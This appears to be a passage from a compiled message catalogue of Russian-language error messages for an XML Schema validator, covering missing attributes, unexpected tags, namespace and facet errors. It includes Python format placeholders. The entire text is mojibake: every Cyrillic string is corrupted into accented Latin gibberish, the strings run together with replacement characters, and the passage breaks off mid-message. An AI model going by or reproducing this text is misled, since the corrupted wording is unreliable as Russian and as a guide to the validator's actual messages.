Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'type'�Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ¾ Đ¸Đ¼ĐµĐ½ XSD Đ² Đ¼ĐµÑ‚Đ°ÑÑ…ĐµĐ¼Đµ�Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ¾ Đ¸Đ¼ĐµĐ½ XSD Đ² ÑĐºĐ·ĐµĐ¼Đ¿Đ»ÑÑ€Đµ Đ¼ĐµÑ‚Đ°ÑÑ…ĐµĐ¼Ñ‹ {!r}�Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'name' Đ² Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Đ¾Đ¼ %r�Đ² complexType Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'name'�Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'name' Đ² Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Đ¾Đ¼ simpleType�Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'ref' Đ² Đ»Đ¾ĐºĐ°Đ»ÑŒĐ½Đ¾Đ¹ Đ³Ñ€ÑƒĐ¿Đ¿Đµ�Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'test'�Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ±Đ°Đ·Đ¾Đ²Ñ‹Đ¹ Ñ‚Đ¸Đ¿ %r�Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ±Đ°Đ·Đ¾Đ²Ñ‹Đ¹ Ñ‚Đ¸Đ¿ Đ² Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đ¸�Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒÑÑ‚ Đ¾Đ±Đ° Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° 'name' и 'ref' Đ² Đ»Đ¾ĐºĐ°Đ»ÑŒĐ½Đ¾Đ¼ %r�Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ ÑĐºĐ·ĐµĐ¼Đ¿Đ»ÑÑ€ Đ¼ĐµÑ‚Đ°ÑÑ…ĐµĐ¼Ñ‹ Đ¿Đ¾ ÑƒĐ¼Đ¾Đ»Ñ‡Đ°Đ½Đ¸Ñ {!r}�Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ´Đ¸Đ½Đ°Đ¼Đ¸Ñ‡ĐµÑĐºĐ°Ñ Đ·Đ°Đ³Ñ€ÑƒĐ¶ĐµĐ½Đ½Đ°Ñ ÑÑ…ĐµĐ¼Đ° из %s�Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ¿ĐµÑ€ĐµÑ‡Đ¸ÑĐ»ĐµĐ½Đ¸Đµ Đ² Đ¿Đ¾Đ´Ñ‚Đ¸Đ¿Đµ xs:NOTATION�Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ³Ñ€ÑƒĐ¿Đ¿Đ° %r�Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ ĐºĐ»ÑÑ‡ĐµĐ²Đ¾Đµ Đ¿Đ¾Đ»Đµ {0!r} Đ´Đ»Ñ {1!r}�Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒÑÑ‰ĐµĐµ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đµ Ñ‚Đ¸Đ¿Đ° ÑĐ¿Đ¸ÑĐºĐ°�Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ¾Đ±ÑĐ·Đ°Ñ‚ĐµĐ»ÑŒĐ½Ñ‹Đ¹ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'name'�Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ¾Đ±ÑĐ·Đ°Ñ‚ĐµĐ»ÑŒĐ½Ñ‹Đ¹ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'refer'�Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ¾Đ±ÑĐ·Đ°Ñ‚ĐµĐ»ÑŒĐ½Ñ‹Đ¹ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ {!r}�Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒÑÑ‚ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Ñ Ñ‚Đ¸Đ¿Đ° xs:union�Đ±Đ¾Đ»ÑŒÑˆĐµ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đ¹ anyAttribute Đ² Ñ‚Đ¾Đ¹ же Đ³Ñ€ÑƒĐ¿Đ¿Đµ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ¾Đ²�Đ½ĐµÑĐºĐ¾Đ»ÑŒĐºĐ¾ %r Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đ¹ Đ½Đ°Đ±Đ¾Ñ€Đ°�Đ½ĐµÑĐºĐ¾Đ»ÑŒĐºĐ¾ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ¾Đ² ID Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½Ñ‹ Đ² XSD 1.0�Đ¼Đ½Đ¾Đ¶ĐµÑÑ‚Đ²ĐµĐ½Đ½Đ¾Đµ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đµ Đ´Đ»Ñ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° {!r}�Đ¼Đ½Đ¾Đ¶ĐµÑÑ‚Đ²ĐµĐ½Đ½Đ¾Đµ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đµ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° {!r}�Đ¼Đ½Đ¾Đ¶ĐµÑÑ‚Đ²ĐµĐ½Đ½Đ¾Đµ Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đµ Đ´Đ»Ñ {0} {1!r}�Đ´Đ¾Đ»Đ¶Đ½Đ¾ ÑĐ¾Đ´ĐµÑ€Đ¶Đ°Ñ‚ÑŒ Ñ„Đ¸ĐºÑĐ¸Ñ€Đ¾Đ²Đ°Đ½Đ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ %r�Đ¸Đ¼ĐµĐ½Đ° Đ² notQName Đ´Đ¾Đ»Đ¶Đ½Ñ‹ Đ½Đ°Ñ…Đ¾Đ´Đ¸Ñ‚ÑŒÑÑ Đ² Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½Đ½Ñ‹Ñ… Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ°Ñ… Đ¸Đ¼ĐµĐ½�иÑÑ‚Đ¾Ñ‡Đ½Đ¸Đº XSD Đ½Đµ ÑƒĐºĐ°Đ·Đ°Đ½!�Đ² ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đµ Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ¿Ñ€Đ¸ÑутÑÑ‚Đ²Đ¾Đ²Đ°Ñ‚ÑŒ Đ½Đµ Đ±Đ¾Đ»ĐµĐµ Đ¾Đ´Đ½Đ¾Đ³Đ¾ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° Ñ‚Đ¸Đ¿Đ° ID�Đ½ĐµÑ‚ Ñ‚Đ¸Đ¿Đ°, Đ¿Đ¾Đ´Ñ…Đ¾Đ´ÑÑ‰ĐµĐ³Đ¾ Đ´Đ»Ñ Đ´ĐµĐºĐ¾Đ´Đ¸Ñ€Đ¾Đ²Đ°Đ½Đ¸Ñ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đ¹ %r�Đ½ĐµÑ‚ Ñ‚Đ¸Đ¿Đ°, Đ¿Đ¾Đ´Ñ…Đ¾Đ´ÑÑ‰ĐµĐ³Đ¾ Đ´Đ»Ñ ĐºĐ¾Đ´Đ¸Ñ€Đ¾Đ²Đ°Đ½Đ¸Ñ Đ¾Đ±ÑĐµĐºÑ‚Đ°�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½ĐµĐ´Đ¾ÑÑ‚ÑƒĐ¿Đ½Đ¾ Đ´Đ»Ñ Ñ‚Đ¸Đ¿Đ° xs:error�Đ½Đµ Đ·Đ°ĐºĐ¾Đ´Đ¸Ñ€Đ¾Đ²Đ°Đ½Đ¾ Đ² base64�Đ½Đµ Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đµ!�Đ½Đµ ÑˆĐµÑÑ‚Đ½Đ°Đ´Ñ†Đ°Ñ‚ĐµÑ€Đ¸Ñ‡Đ½Đ¾Đµ Ñ‡Đ¸ÑĐ»Đ¾�Đ½ĐµĐ²Ñ‹Ñ€Đ°Đ·Đ¸Đ¼Đ¾Đµ Đ¾Đ±ÑĐµĐ´Đ¸Đ½ĐµĐ½Đ¸Đµ Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ² Đ¸Đ¼ĐµĐ½ Ñ Đ¿Đ¾Đ´ÑÑ‚Đ°Đ½Đ¾Đ²Đ¾Ñ‡Đ½Ñ‹Đ¼Đ¸ Đ·Đ½Đ°ĐºĐ°Đ¼Đ¸: {0!r} V {1!r}:�Đ¾Đ´Đ¸Đ½ или Đ½ĐµÑĐºĐ¾Đ»ÑŒĐºĐ¾ Đ½Đ°Đ±Đ¾Ñ€Đ¾Đ² Đ½ĐµĐ¿Ñ€Đ¸Đ¼ĐµĐ½Đ¸Đ¼Ñ‹, Đ´Đ¾Đ¿ÑƒÑÑ‚Đ¸Đ¼Ñ‹Đ¹ Đ½Đ°Đ±Đ¾Ñ€ {!r}�Đ½ĐµÑĐ¾Đ¾Ñ‚Đ²ĐµÑ‚ÑÑ‚Đ²Đ¸Đµ openContent Đ¼ĐµĐ¶Đ´Ñƒ Ñ‚Đ¸Đ¿Đ¾Đ¼ и Đ³Ñ€ÑƒĐ¿Đ¿Đ¾Đ¹ Đ¼Đ¾Đ´ĐµĐ»Đ¸�Ñ€Đ¾Đ´Đ¸Ñ‚ĐµĐ»ÑŒ Đ·Đ°Ñ†Đ¸ĐºĐ»ĐµĐ½ из {}�Đ¿Ñ€ĐµÑ„Đ¸ĐºÑ {!r} Đ½Đµ Đ½Đ°Đ¹Đ´ĐµĐ½ Đ² ĐºĐ°Ñ€Ñ‚Đµ Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ° Đ¸Đ¼ĐµĐ½�Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ½Đ°Ñ ÑÑ…ĐµĐ¼Đ° {!r} Đ¸Đ¼ĐµĐµÑ‚ Đ´Ñ€ÑƒĐ³Đ¾Đµ Ñ†ĐµĐ»ĐµĐ²Đ¾Đµ Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ¾ Đ¸Đ¼ĐµĐ½�ÑÑÑ‹Đ»ĐºĐ° Đ½Đ° Đ½Đµ ĐºĐ»ÑÑ‡ĐµĐ²Đ¾Đµ/ÑƒĐ½Đ¸ĐºĐ°Đ»ÑŒĐ½Đ¾Đµ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đµ Đ¸Đ´ĐµĐ½Ñ‚Đ¸Ñ„Đ¸ĐºĐ°Ñ†Đ¸Đ¸ %r�ÑÑÑ‹Đ»Đ¾Ñ‡Đ½Ñ‹Đ¹ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ Đ¸Đ¼ĐµĐµÑ‚ Đ´Ñ€ÑƒĐ³Đ¾Đµ Ñ„Đ¸ĐºÑĐ¸Ñ€Đ¾Đ²Đ°Đ½Đ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ {!r}�Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đµ Đ¸Đ¼ĐµĐµÑ‚ Đ¾Ñ‚ĐºÑ€Ñ‹Ñ‚Ñ‹Đ¹ ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚, Đ½Đ¾ Đ±Đ°Đ·Đ¾Đ²Ñ‹Đ¹ Ñ‚Đ¸Đ¿ Đ½Đµ Đ¸Đ¼ĐµĐµÑ‚�Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đµ xs:{0} Đ±Đ¾Đ»ĐµĐµ Ñ‡ĐµĐ¼ Đ¾Đ´Đ½Đ¾Đ¹ Ñ‡Đ°ÑÑ‚ÑŒÑ xs:{1} Đ·Đ°Đ¿Ñ€ĐµÑ‰ĐµĐ½Đ¾�Đ¾Đ¶Đ¸Đ´Đ°ĐµÑ‚ÑÑ Ñ‚ĐµĐ³ 'restriction' или 'extension'�Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đµ Ñ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ¾Đ¼ base и Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸ĐµĐ¼ simpleType�ÑÑ…ĐµĐ¼Đ° %r Đ½Đµ ÑĐ¾Đ·Đ´Đ°ĐµÑ‚ÑÑ�Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đµ schemaLocation Đ¿Đ¾Ñле Đ½Đ°Ñ‡Đ°Đ»Đ° Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ° Đ¸Đ¼Ñ‘Đ½�Đ²Ñ‹Ñ€Đ°Đ¶ĐµĐ½Đ¸Đµ selector xpath Đ¼Đ¾Đ¶ĐµÑ‚ Đ²Ñ‹Đ±Đ¸Ñ€Đ°Ñ‚ÑŒ Ñ‚Đ¾Đ»ÑŒĐºĐ¾ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Ñ‹�ĐĐ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đµ simpleType %r Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½Đ¾�Đ·Đ°Đ¼ĐµĐ½Đ° %r Đ·Đ°Đ±Đ»Đ¾ĐºĐ¸Ñ€Đ¾Đ²Đ°Đ½Đ°�Ñ†ĐµĐ»ĐµĐ²Đ¾Đ¹ ĐºĐ°Ñ‚Đ°Đ»Đ¾Đ³ {} Đ½Đµ Đ¿ÑƒÑÑ‚�Ñ†ĐµĐ»ĐµĐ²Đ¾Đ¹ Ñ€Đ¾Đ´Đ¸Ñ‚ĐµĐ»ÑŒÑĐºĐ¸Đ¹ ĐºĐ°Ñ‚Đ°Đ»Đ¾Đ³ {} Đ½Đµ ÑÑƒÑ‰ĐµÑÑ‚Đ²ÑƒĐµÑ‚�Ñ†ĐµĐ»ĐµĐ²Đ¾Đ¹ Ñ€Đ¾Đ´Đ¸Ñ‚ĐµĐ»ÑŒ {} Đ½Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ ĐºĐ°Ñ‚Đ°Đ»Đ¾Đ³Đ¾Đ¼�Ñ†ĐµĐ»ĐµĐ²Đ¾Đ¹ {} Đ½Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ ĐºĐ°Ñ‚Đ°Đ»Đ¾Đ³Đ¾Đ¼�Ñ‚ĐµÑÑ‚Đ¾Đ²Ñ‹Đ¹ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ² Đ½Đµ Đ¾ĐºĐ¾Đ½Ñ‡Đ°Ñ‚ĐµĐ»ÑŒĐ½Đ¾Đ¹ Đ°Đ»ÑŒÑ‚ĐµÑ€Đ½Đ°Ñ‚Đ¸Đ²Đµ�QName {!r} Đ½Đµ Đ¾Ñ‚Đ¾Đ±Ñ€Đ°Đ¶Đ°ĐµÑ‚ÑÑ Đ½Đ¸ Đ² ĐºĐ°ĐºĐ¾Đµ Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ¾ Đ¸Đ¼ĐµĐ½, Đ½Đ¾ Đ´Đ»Ñ ÑÑ‚Đ¾Đ³Đ¾ Ñ‚Ñ€ĐµĐ±ÑƒĐµÑ‚ÑÑ, Ñ‡Ñ‚Đ¾Đ±Ñ‹ Đ² ÑÑ…ĐµĐ¼Đµ Đ±Ñ‹Đ» Đ¾Đ¿ĐµÑ€Đ°Ñ‚Đ¾Ñ€ xs:import без Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° 'namespace'.�QName {0!r} ÑĐ¾Đ¿Đ¾ÑÑ‚Đ°Đ²Đ»ÑĐµÑ‚ÑÑ Ñ Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ¾Đ¼ Đ¸Đ¼ĐµĐ½ {1!r}, Đ½Đ¾ ÑÑ‚Đ¾ Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ¾ Đ¸Đ¼ĐµĐ½ Đ½Đµ Đ¸Đ¼ĐµĐµÑ‚ Đ¾Đ¿ĐµÑ€Đ°Ñ‚Đ¾Ñ€Đ° xs:import Đ² ÑÑ…ĐµĐ¼Đµ.�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'mode' defaultOpenContent Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ±Ñ‹Ñ‚ÑŒ 'none'�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'namespace' Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ¾Ñ‚Đ»Đ¸Ñ‡Đ°Ñ‚ÑŒÑÑ Đ¾Ñ‚ 'targetNamespace' ÑÑ…ĐµĐ¼Ñ‹�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'ref' Ñ‚Ñ€ĐµĐ±ÑƒĐµÑ‚ÑÑ Đ² Đ»Đ¾ĐºĐ°Đ»ÑŒĐ½Đ¾Đ¹ attributeGroup�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ targetNamespace Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ±Ñ‹Ñ‚ÑŒ Đ¿ÑƒÑÑ‚Đ¾Đ¹ ÑÑ‚Ñ€Đ¾ĐºĐ¾Đ¹�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'type' и Đ»Đ¾ĐºĐ°Đ»ÑŒĐ½Đ¾Đµ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đµ xs:{} ÑĐ²Đ»ÑÑÑ‚ÑÑ Đ²Đ·Đ°Đ¸Đ¼Đ¾Đ¸ÑĐºĐ»ÑÑ‡Đ°ÑÑ‰Đ¸Đ¼Đ¸�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'type' и xs:%s ÑĐ²Đ»ÑÑÑ‚ÑÑ Đ²Đ·Đ°Đ¸Đ¼Đ¾Đ¸ÑĐºĐ»ÑÑ‡Đ°ÑÑ‰Đ¸Đ¼Đ¸�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'use' Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ 'optional' , еÑли Đ¿Ñ€Đ¸ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'default'�Đ±Đ°Đ·Đ¾Đ²Ñ‹Đ¹ Ñ‚Đ¸Đ¿ Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ±Ñ‹Ñ‚ÑŒ Đ¿Đ¾Đ»ÑƒÑ‡ĐµĐ½ Đ¿ÑƒÑ‚ĐµĐ¼ Ñ€Đ°ÑÑˆĐ¸Ñ€ĐµĐ½Đ¸Ñ�Đ±Đ°Đ·Đ¾Đ²Ñ‹Đ¹ Ñ‚Đ¸Đ¿ Đ½ĐµĐ»ÑŒĐ·Ñ Đ¿Đ¾Đ»ÑƒÑ‡Đ¸Ñ‚ÑŒ из-за Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đ¹�Đ¿Ñ€Đ¾Đ¸Đ·Đ²Đ¾Đ´Đ½Đ°Ñ Đ³Ñ€ÑƒĐ¿Đ¿Đ° ÑĐ²Đ»ÑĐµÑ‚ÑÑ Đ½ĐµĐ´Đ¾Đ¿ÑƒÑÑ‚Đ¸Đ¼Ñ‹Đ¼ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸ĐµĐ¼�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½Đ°Đ±Đ¾Ñ€Đ° absoluteTimezone Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ±Ñ‹Ñ‚ÑŒ Đ¸Đ·Đ¼ĐµĐ½ĐµĐ½Đ¾, еÑли Đ±Đ°Đ·Đ¾Đ²Ñ‹Đ¹ Ñ‚Đ¸Đ¿ Đ¸Đ¼ĐµĐµÑ‚ Ñ‚Đ¾Ñ‚ же Đ½Đ°Đ±Đ¾Ñ€ ÑĐ¾ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸ĐµĐ¼ %r�Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ¾ Đ¸Đ¼ĐµĐ½ ĐºĐ°Đ¶Đ´Đ¾Đ³Đ¾ QName Đ² notQName Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½Đ¾ notNamespace�Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ¾ Đ¸Đ¼ĐµĐ½ {!r} Đ½Đµ Đ·Đ°Đ³Ñ€ÑƒĐ¶ĐµĐ½Đ¾�ĐºĐ¾Đ»Đ¸Ñ‡ĐµÑÑ‚Đ²Đ¾ Ñ†Đ¸Ñ„Ñ€ Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ¼ĐµĐ½ÑŒÑˆĐµ или Ñ€Đ°Đ²Đ½Đ¾ {!r}�ĐºĐ¾Đ»Đ¸Ñ‡ĐµÑÑ‚Đ²Đ¾ Ñ†Đ¸Ñ„Ñ€ Đ¿Đ¾Ñле Đ·Đ°Đ¿ÑÑ‚Đ¾Đ¹ Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ¼ĐµĐ½ÑŒÑˆĐµ или Ñ€Đ°Đ²Đ½Đ¾ {!r}�Đ¿ÑƒÑ‚ÑŒ %r Đ½Đµ ÑĐ¾Đ¾Ñ‚Đ²ĐµÑ‚ÑÑ‚Đ²ÑƒĐµÑ‚ Đ½Đ¸ Đ¾Đ´Đ½Đ¾Đ¼Ñƒ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Ñƒ ÑÑ…ĐµĐ¼Ñ‹!�Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ½Đ°Ñ Đ³Ñ€ÑƒĐ¿Đ¿Đ° ÑĐ²Đ»ÑĐµÑ‚ÑÑ Đ½ĐµĐ´Đ¾Đ¿ÑƒÑÑ‚Đ¸Đ¼Ñ‹Đ¼ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸ĐµĐ¼�Đ¿Ñ€Đ¾ÑÑ‚Đ¾Đ¹ ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚ {!r} ÑĐ²Đ»ÑĐµÑ‚ÑÑ Đ½Đµ Đ²Đ°Đ»Đ¸Đ´Đ½Ñ‹Đ¼ Đ¿Ñ€Đ¾ÑÑ‚Ñ‹Đ¼ Ñ‚Đ¸Đ¿Đ¾Đ¼ Đ² XSD 1.1�Ñ‚Đ°Đ¹Đ¼Đ·Đ¾Đ½Đ° Đ·Đ°Đ¿Ñ€ĐµÑ‰ĐµĐ½Đ° Đ´Đ»Ñ {!r}�Ñ‚Đ°Đ¹Đ¼Đ·Đ¾Đ½Đ° Đ¾Đ±ÑĐ·Đ°Ñ‚ĐµĐ»ÑŒĐ½Đ° Đ´Đ»Ñ {!r}�ÑĐ»Đ¸ÑˆĐºĐ¾Đ¼ Đ¼Đ½Đ¾Đ³Đ¾ ĐºĐ¾Đ¼Đ¿Đ¾Đ½ĐµĐ½Ñ‚Đ¾Đ² XSD, Đ½ĐµĐ¾Đ¶Đ¸Đ´Đ°Đ½Đ½Ñ‹Đ¹ {0!r} Đ½Đ°Đ¹Đ´ĐµĐ½ Đ² Đ¿Đ¾Đ·Đ¸Ñ†Đ¸Đ¸ {1}�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½Đ°Đ±Đ¾Ñ€Đ° totalDigits Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ±Ñ‹Ñ‚ÑŒ Đ±Đ¾Đ»ÑŒÑˆĐµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Ñ Ñ‚Đ¾Đ³Đ¾ же Đ½Đ°Đ±Đ¾Ñ€Đ° Đ² Đ±Đ°Đ·Đ¾Đ²Đ¾Đ¼ Ñ‚Đ¸Đ¿Đµ�Ñ‚Đ¸Đ¿ {0!r} Đ½Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ Đ¿Ñ€Đ¾Đ¸Đ·Đ²Đ¾Đ´Đ½Ñ‹Đ¼ Đ¾Ñ‚ {1!r}�Đ½ĐµĐ²Đ¾Đ·Đ¼Đ¾Đ¶Đ½Đ¾ Đ²Ñ‹Đ±Ñ€Đ°Ñ‚ÑŒ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚ Đ´Đ»Ñ Đ´ĐµĐºĐ¾Đ´Đ¸Ñ€Đ¾Đ²Đ°Đ½Đ¸Ñ Đ´Đ°Đ½Đ½Ñ‹Ñ…, ÑƒĐºĐ°Đ¶Đ¸Ñ‚Đµ Đ´Đ¾Đ¿ÑƒÑÑ‚Đ¸Đ¼Ñ‹Đ¹ Đ°Ñ€Đ³ÑƒĐ¼ĐµĐ½Ñ‚ 'path'.�Đ½ĐµĐ´Đ¾ÑÑ‚ÑƒĐ¿Đ½Đ¾Đµ Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ¾ Đ¸Đ¼ĐµĐ½ {!r}�Đ½ĐµĐ¾Đ¶Đ¸Đ´Đ°Đ½Đ½Ñ‹Đ¹ ÑĐºĐ·ĐµĐ¼Đ¿Đ»ÑÑ€ {!r} Đ² Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Đ¾Đ¹ ĐºĐ°Ñ€Ñ‚Đµ�Đ½ĐµĐ¾Đ¶Đ¸Đ´Đ°Đ½Đ½Ñ‹Đ¹ Ñ‚ĐµĐ³ %r�Đ½ĐµĐ¾Đ¶Đ¸Đ´Đ°Đ½Đ½Ñ‹Đ¹ Ñ‚ĐµĐ³ %r Đ¿Đ¾Ñле Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Ñ complexContent�Đ½ĐµĐ¾Đ¶Đ¸Đ´Đ°Đ½Đ½Ñ‹Đ¹ Ñ‚ĐµĐ³ %r Đ¿Đ¾Ñле Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Ñ simpleContent:�Đ½ĐµĐ¾Đ¶Đ¸Đ´Đ°Đ½Đ½Ñ‹Đ¹ Ñ‚ĐµĐ³ %r Đ² ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚Đµ complexContent�Đ½ĐµĐ¾Đ¶Đ¸Đ´Đ°Đ½Đ½Ñ‹Đ¹ Ñ‚ĐµĐ³ %r Đ² Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đ¸�Đ½ĐµĐ¾Đ¶Đ¸Đ´Đ°Đ½Đ½Ñ‹Đ¹ Ñ‚ĐµĐ³ Đ¿Đ¾Ñле Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đ¹ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ¾Đ²�Đ½ĐµĐ¸Đ·Đ²ĐµÑÑ‚Đ½Đ°Ñ Đ³Ñ€ÑƒĐ¿Đ¿Đ° 